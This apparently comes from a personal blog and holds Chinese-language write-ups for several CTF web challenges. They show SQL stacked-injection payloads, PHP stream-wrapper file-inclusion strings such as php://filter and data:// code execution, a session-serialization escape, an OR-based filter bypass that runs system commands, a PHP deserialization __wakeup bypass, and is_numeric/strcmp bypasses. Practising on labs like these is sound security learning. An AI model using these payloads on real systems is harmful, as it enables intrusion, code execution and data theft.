web_AliceWebsite
通过对源代码的审计,我们可以看到服务器对输入没有任何的处理和过滤
所以直接输入?action=/flag即可
可以猜测sql语句:select (a,$query,b) from table(c)
如果直接查询1,返回1,
则如果a是存在的,则不可能单独输出这一列的数据出来,否则不可能只输出一个值出来
同理,如果b是存在的,则不可能单独输出这一列的数据出来。
如果a和b都是不存在的,则查询数字时必然会返回数字本身
所以可以通过判断返回的数据判断a,b是否是存在的
c是否存在,主要看数据表的数量和会调用哪个数据表中的数据信息
首先我们可以尝试各种符号的闭合,当尝试到双引号时,发现会出现nonono的字样,可以判断对双引号有过滤,然后
尝试其它的符号时发现没有返回,可判断当输入出现错误时,页面不会返回错误的信息
然后我们可以尝试1#或1–+,发现返回正确的数据,而#和–+是注释符的作用,因此可以判断是整型注入
然后我们构造联合注入,发现union被过滤掉了,不过使用堆叠注入的时候,发现没有问题
因此我们可以构造payload:
显示数据库
1 | 1;show databases; |
显示数据表
1 | 1;show tables; |
当时使用payload:1;show columns from flag; 时,发现flag被过滤掉
此时我们可以知道只有一张数据表,它是flag,因此我们可以猜测sql的语句中一定有:select和from flag
因此我们可以使用待定系数法,构造几个未知的变量,然后根据sql语句的格式猜测本题sql语句的格式:
1 | select (a,$query,b) from flag(c) |
如果查询1,发现返回1
如果a存在的话,不可能单独输出一列的数据信息,否则不会输出一个值的信息出来
同理,如果b存在的话,也不可能单独输出一列的数据信息出来
又因为如果a,b都不存在的话,则查询什么数字,则返回什么数字
因此可判断要么a,b都存在,要么a和b存在其一
因此可以构造出payload
1 | 1; 此时sql语句为:select (a) 1; (b) from flag |
返回1的值,而没有报错或无返回
构造payload
1 | 2; 此时sql语句为:select (a) 2; (b) from flag |
返回2的数值,而没有报错或无返回
由此可进一步判断,(a)很可能是不存在的
由于无论输入的是什么数值进去,返回的都是1,由经验可判断能是$query || 1,在sql语句中
||符号是逻辑或的意思,如果
1 | NULL || NULL =NULL |
因为输入的数字都是返回1的,且由以上||的定义可知,$query || (不是NULL值,也不是非零数字),由此可猜测
sql语句格式为:
1 | select $query || (不是NULL值,也不是非零数字)from flag |
因此有两种方法:
第一种
只需输入
1 | *,1 此时sql语句:select * , 1 ||(不是NULL值,也不是非零数字)from flag |
可输出两列的信息数据
第二种
sql_mode是一组mysql支持的基本语法及检验规则
查看命令为:select @@sql-mode;
可以构造payload:
1 | 1;set sql_mode=PIPES_S_CONCAT;select 1; |
sql_mode的具体知识看;
https://www.cnblogs.com/piperck/p/9835695.html
1 | include( ) |
PHP伪协议其实就是支持的协议和封装协议,有12种:
1 | file:// ——访问本地文件 |
file://用于读取本地文件,不受allow_url_fopen和allow_url_include影响
1 | http://127.0.0.1/index.php?file=file://D:/soft/xiaocheng.txt |
1 | http://127.0.0.1/index.php?file=./xioacheng.txt |
1 | http://127.0.0.1/xioacheng.txt |
1 | php://filter 用于读取源码 |
使用上面两种格式的php伪协议格式时,需要allow_url_include是on
1 | php://filter/read=convert.base64-encode/resource=[文件名](如果文件内容非php语法,则输出源码内容,如果是php语法,则执行php代码) |
1 | php://input[POST DATA]<?php phpinfo(); ?> |
1 | zip://D:\www\xiaocheng.zip%23cheng.txt |
1 | compress.bzip2://D:\www\xioacheng.bz2 |
1 | compress.zlib://D:\www\xiaocheng.gz |
data://协议可以执行php代码,但是需要allow_url_include和allow_url_fopen是on的,也可以写入文本数据
data://协议常用的格式:
1 | data://text/plain,<?php phpinfo(); ?> |
其它格式:
1 | data://,<文本数据> |
phar://协议可以访问zip格式压缩包内容
1 | http://127.0.0.1/index.php?file=phar://D:\www\xiaocheng.zip\xioacheng.txt |
详细请看:https://segmentfault.com/a/1190000018991087
https://www.jianshu.com/p/2fce6931dd06
代码审计
1 | <?php |
通过观察php的信息,可以看到一个文件信息d0g3_flag.php
但是我们无法读取这个文件的内容,然后通过代码审计,我们可以使用反序列化逃逸,通过改变img的值来读取
可以通过exp来知道原来_SESSION序列化的值
1 | <?php |
此时输出的是:
a:3:{s:4:”user”;s:5:”guest”;s:8:”function”;N;s:3:”img”;s:20:”Z3Vlc3RfaW1nLnBuZw==”;}
我们可以通过减少关键词的数来逃逸
_SESSION[flagflag]=”;s:3:”aaa”;s:3:”img”;s:20:”ZDBnM19mMWFnLnBocA==”;}
我们可以得到
$flag = ‘flag in /d0g3_fllllllag’;
然后我们再改变一下img的数值
_SESSION[flagflag]=”;s:3:”aaa”;s:3:”img”;s:20:”L2QwZzNfZmxsbGxsbGFn”;}
从而得到flag
flag{7b704900-c0d7-4302-90a6-fc459a2c405c}
1 | #!/usr/bin/env python |
1 | <?php |
通过查看源码可以看到对于输入,它对多个字符进行了过滤,因此可以使用或运算的方式来绕过过滤,通过或运算的原理
输入命令:
1 | syetem('ls'); |
和输入命令:
1 | ('system')('ls') |
它们都是一样的,不过要在5.6版本才可以使用
因此,可以写相应的脚本如下:
1 | #-- coding:UTF-8 -- |
通过运行脚本,我们可以输入system和ls来查看当前目录下的文件,然后用system和cat <文件名> 来查看文件里的内容
1 | #!/usr/bin/env python |
观察页面,发现页面有写有备份网站的文件,然后就用dirsearch和御剑扫描域名的目录
发现后缀文件名为index.php和www.zip时,状态码为200
因此,在域名后加www.zip的目录信息
http://d94bb716-8ba6-4774-b46f-abb523abfa71.node3.buuoj.cn/www.zip
可以下载压缩包
打开压缩包后发现几个文件,然后逐个打开,发现class.php里的php代码
审计代码
username = $username; $this->password = $password; } function __wakeup(){ $this->username = 'guest'; #将guest赋值给$username } function __destruct(){ #销毁时调用 if ($this->password != 100) { #判断password是否等于100 echo "NO!!!hacker!!!"; echo "You name is: "; echo $this->username;echo ""; echo "You password is: "; echo $this->password;echo ""; die(); } if ($this->username === 'admin') { #判断username是否是admin global $flag; #对外部$flag同名引用 echo $flag; }else{ echo "hello my friend~~sorry i can't give you the flag!"; die(); } } } ?>通过代码审计可知只要username=admin且password=100,则可以显示出flag,但是因为有__wakeup()这个函数,所以输入的username会变成guest
而__wakeup()函数,如果表示属性个数的值大于真实属性个数的值,那么就会绕过__wakeup()函数。又因为成员变量使用的是private这个声明私有字段
所以需要将成员变量的值放在new Name()的括号中,且序列化时,类名和字段名的前面都会加上\0的前缀
构造exp得到序列化后的数值
username = $username; $this->password = $password; } function __wakeup(){ $this->username = 'guest'; } function __destruct(){ if ($this->password != 100) { echo "NO!!!hacker!!!"; echo "You name is: "; echo $this->username;echo ""; echo "You password is: "; echo $this->password;echo ""; die(); } if ($this->username === 'admin') { global $flag; echo $flag; }else{ echo "hello my friend~~sorry i can't give you the flag!"; die(); } } } $a=new Name('admin',100); echo serialize($a); ?>得到的结果是
O:4:”Name”:2:{s:14:”Nameusername”;s:5:”admin”;s:14:”Namepassword”;i:100;}
需要在类名和字段名前面加上\0的前缀,同时改变属性的数值,将2改为3
O:4:”Name”:3:{s:14:”\0Name\0username”;s:5:”admin”;s:14:”\0Name\0password”;i:100;}
然后构造payload
index.php?select=O:4:”Name”:3:{s:14:”\0Name\0username”;s:5:”admin”;s:14:”\0Name\0password”;i:100;}
便可得到flag
1 | <!DOCTYPE html> |
查看页面源代码。可以看见一段代码,对代码审计
1 | if (isset($_POST['password'])) { |
通过代码,我们可以知道我们要绕过is_numeric()函数,我们可以用两种方法:
第一种,我们可以利用php弱类型,构造password=404asd来绕过
第二种,我们可以利用is_numeric()漏洞来绕过,我们可以构造password=404%00来绕过
同时我们观察页面,发现需要money,所以我们可以构造post提交的数据
password=404%00&money=100000000
然后我们再进行抓包
然后我们将user=0改为user=1,由于要绕过第一个student,直接input password
发现显示money字段太长,我们猜测这里有个比较,可能是strcmp函数进行比较,此时我们利用strcmp函数的漏洞,构造一个数组
password=404%00&money[]=100000000
然后我们就能得到flag